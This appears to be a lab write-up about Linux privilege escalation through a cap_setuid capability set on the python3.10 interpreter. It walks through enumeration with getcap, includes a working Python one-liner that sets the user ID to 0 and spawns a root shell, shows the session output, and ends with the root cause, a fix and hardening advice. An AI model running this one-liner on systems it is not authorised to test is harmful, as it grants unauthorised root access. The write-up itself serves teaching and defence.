SUID bits get all the attention in privilege escalation write-ups, but Linux capabilities are the quieter, more granular cousin of that same problem — and they get missed constantly because most people only think to check find / -perm -4000 and stop there. This lab was a good example of why capability enumeration deserves the same priority as SUID enumeration.
I had a shell as a low-privilege user, ran LinPEAS, and it flagged one line that ended the box.
The Setup
Working as the user app on a box called ubuntu, inside a directory called ~/gerapy, I ran LinPEAS as part of standard enumeration. Alongside the usual SUID checks, LinPEAS also enumerates POSIX capabilities set on binaries across the filesystem — a category of privilege that doesn’t require the SUID bit at all.
getcap -r / 2>/dev/null
That command (which is exactly what LinPEAS runs under the hood for this check) walks the filesystem looking for any file with capabilities attached, and it turned up:

/usr/bin/python3.10 = cap_setuid+ep
python3.10, flagged with cap_setuid+ep. That’s not a standard capability to have on a general-purpose interpreter, and it’s an extremely dangerous one to have at all.
Enumeration — What cap_setuid Actually Grants
Linux capabilities break up the traditionally all-or-nothing power of root (UID 0) into individual, independently grantable permissions. Instead of giving a binary full root via the SUID bit, you can give it just the one specific privileged operation it needs.
cap_setuid grants exactly what its name suggests: the ability to call setuid() and arbitrarily change the process’s user ID — including to 0. The +ep suffix means the capability is both effective (active immediately) and permitted (inheritable by the process). For a general-purpose scripting language interpreter, this capability is equivalent to a root-owned SUID binary, because Python can trivially invoke setuid() from a one-liner and then do anything it wants as root.
GTFOBins documents this exact scenario under Python’s Capabilities section.
Exploitation
The payload is a single Python one-liner: call setuid(0) to become root, then spawn a shell that inherits that UID.
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/sh")'

app@ubuntu:~/gerapy$ /usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/sh")'
whoami
root
bash -i
root@ubuntu:~/gerapy#
os.setuid(0) succeeded immediately — no error, no permission check to bypass — because the capability was already attached directly to the python3.10 binary. The moment that call returned, the interpreter’s process itself was running as UID 0, and everything spawned from it (/bin/sh, then an interactive bash -i) inherited that same privilege.
Why This Works
Capabilities are stored as extended file attributes on the binary itself, checked by the kernel at execve() time — completely independent of the SUID bit. That means:
- A binary can carry
cap_setuidwithout ever showing up in afind / -perm -4000sweep, since that only catches the SUID bit, not capabilities - Any process spawned from that binary starts with the capability already active, no exploit or memory corruption required — it’s a directly callable, intended kernel API
setuid(0)is a completely legitimate system call; the only thing distinguishing “legitimate use” from “privilege escalation” is whether the calling binary should have hadcap_setuidin the first place
Because Python can execute arbitrary code via -c, having cap_setuid on the interpreter binary is functionally identical to having full root SUID on it — there’s no meaningful restriction on what a process with unrestricted code execution and the ability to become UID 0 can do next.
Root Cause
The cap_setuid capability was attached directly to the general-purpose Python interpreter:
setcap cap_setuid+ep /usr/bin/python3.10
This is almost always the result of someone granting a capability to solve one specific, narrow problem — for example, letting an application drop privileges from root to a service account — and attaching it to the interpreter binary itself instead of a dedicated, minimal helper script.
Fix: Remove the capability from the interpreter entirely:
setcap -r /usr/bin/python3.10
If a capability like cap_setuid is genuinely required for a specific script’s functionality, attach it to a narrowly scoped, purpose-built binary instead of a general-purpose interpreter that can execute arbitrary user-supplied code:
# Attach the capability to a single-purpose compiled helper, never to python/perl/bash directly
setcap cap_setuid+ep /usr/local/bin/drop-privileges-helper
Audit capabilities across the filesystem the same way you audit SUID binaries — regularly, and as a standard part of any hardening pass.
Key Takeaways
find / -perm -4000only catches SUID binaries — always pair it withgetcap -r / 2>/dev/nullto catch capability-based privilege escalation paths toocap_setuidon any interpreter (Python, Perl, Ruby, Node) that can execute arbitrary code is equivalent to a root SUID binary — there’s no meaningful containment- LinPEAS surfaces capability findings automatically; don’t skip past them just because they’re less familiar than SUID output
- Capabilities should always be attached to the smallest, most purpose-built binary possible — never to a general-purpose interpreter
Questions? Hit me up on X.